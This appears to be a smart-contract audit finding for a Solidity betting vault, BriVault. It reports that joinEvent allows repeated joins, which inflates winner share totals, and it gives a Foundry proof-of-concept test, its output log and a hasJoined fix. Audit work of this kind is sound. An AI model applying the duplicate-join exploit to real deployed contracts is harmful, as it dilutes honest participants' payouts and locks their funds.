BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Multiple Joins Inflate Share Counts, Locking Winner Funds

0xvrka

Root + Impact

Description

  • A user should only be able to call joinEvent once to register their stake for a single country.

  • However, The function lacks a check to see if a user has already joined. An attacker can call joinEvent repeatedly, assigning their entire share balance to multiple countries. This inflates the totalWinnerShares calculation, causing withdrawals for legitimate winners to be drastically reduced.

function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// ...
​
@> // issue -> No check to see if msg.sender has already joined.
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
​
@> userSharesToCountry[msg.sender][countryId] = participantShares;
@> usersAddress.push(msg.sender);
@> totalParticipantShares += participantShares;
​
emit joinedEvent(msg.sender, countryId);
}
​
function _getWinnerShares () internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
@> // Attacker's shares are added multiple times, inflating totalWinnerShares
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}

Risk

Likelihood:

  • A legitimate user who joins one team (e.g., country 0) and later changes their mind to join another (e.g., country 1) will call joinEvent again.

  • The function allows this change, but it fails to remove the user's original entry. It simply adds them again, causing their full share balance to be counted for both teams (or all teams they've ever picked).

  • A threat actor can also intentionally exploit this cheaply, calling joinEvent for all 48 countries to guarantee their shares are part of the winning pool, ensuring maximum dilution.

Impact:

  • The totalWinnerShares value becomes massively inflated. When legitimate winners withdraw, their payout is divided by this huge number, permanently locking their funds as they can only claim a fraction of their due.

  • This affects all participants in the winning pool, including the users who accidentally triggered the bug.

Proof of Concept

Attackers (user2, user3) call joinEvent multiple times for different countries. A legitimate user (user1) joins only once. When the winner is declared (country 0), the _getWinnerShares function over-counts the shares from user2 and user3, massively inflating the total. This causes user1's withdrawal to be significantly diluted. Instead of receiving their full ~19.7e share, they only receive ~8.44e, as shown in the logs.

function test_lockFundDDOS() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
​
vm.startPrank(user1);
mockToken.approve(address(briVault), 20 ether);
briVault.deposit(20 ether, user1);
briVault.joinEvent(0); // User1 joins once
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 20 ether);
briVault.deposit(20 ether, user2);
@> briVault.joinEvent(0); // Attacker joins
@> briVault.joinEvent(1); // Attacker joins again
@> briVault.joinEvent(2); // Attacker joins again
vm.stopPrank();
​
vm.startPrank(user3);
mockToken.approve(address(briVault), 20 ether);
briVault.deposit(20 ether, user3);
@> briVault.joinEvent(0); // Attacker joins
@> briVault.joinEvent(1); // Attacker joins again
@> briVault.joinEvent(2); // Attacker joins again
vm.stopPrank();
​
vm.startPrank(owner);
vm.warp(eventEndDate + 1);
briVault.setWinner(0); // Winner is set, _getWinnerShares is called
vm.stopPrank();
vm.startPrank(user1);
@> briVault.withdraw(); // User1's withdrawal amount is diluted to near-zero
uint256 bal = mockToken.balanceOf(user1);
console.log("user 1 balance (ETH):", bal / 1 ether, ".", bal % 1 ether);
vm.stopPrank();
}

Output Log:

[PASS] test_lockFundDDOS() (gas: 2237953)
Logs:
user 1 balance (ETH): 8 . 442857142857142857

Recommended Mitigation

A hasJoined mapping must be added to prevent users from joining more than once.

contract BriVault is ERC4626, Ownable {
// ...
+ mapping(address => bool) public hasJoined;
// ...
+ error AlreadyJoined();
// ...
​
function joinEvent(uint256 countryId) public {
// ...
​
+ if (hasJoined[msg.sender]) {
+ revert AlreadyJoined();
+ }
​
// ...
​
+ hasJoined[msg.sender] = true;
// ...
}
// ...
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unbounded Loop in _getWinnerShares Causes Denial of Service

The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!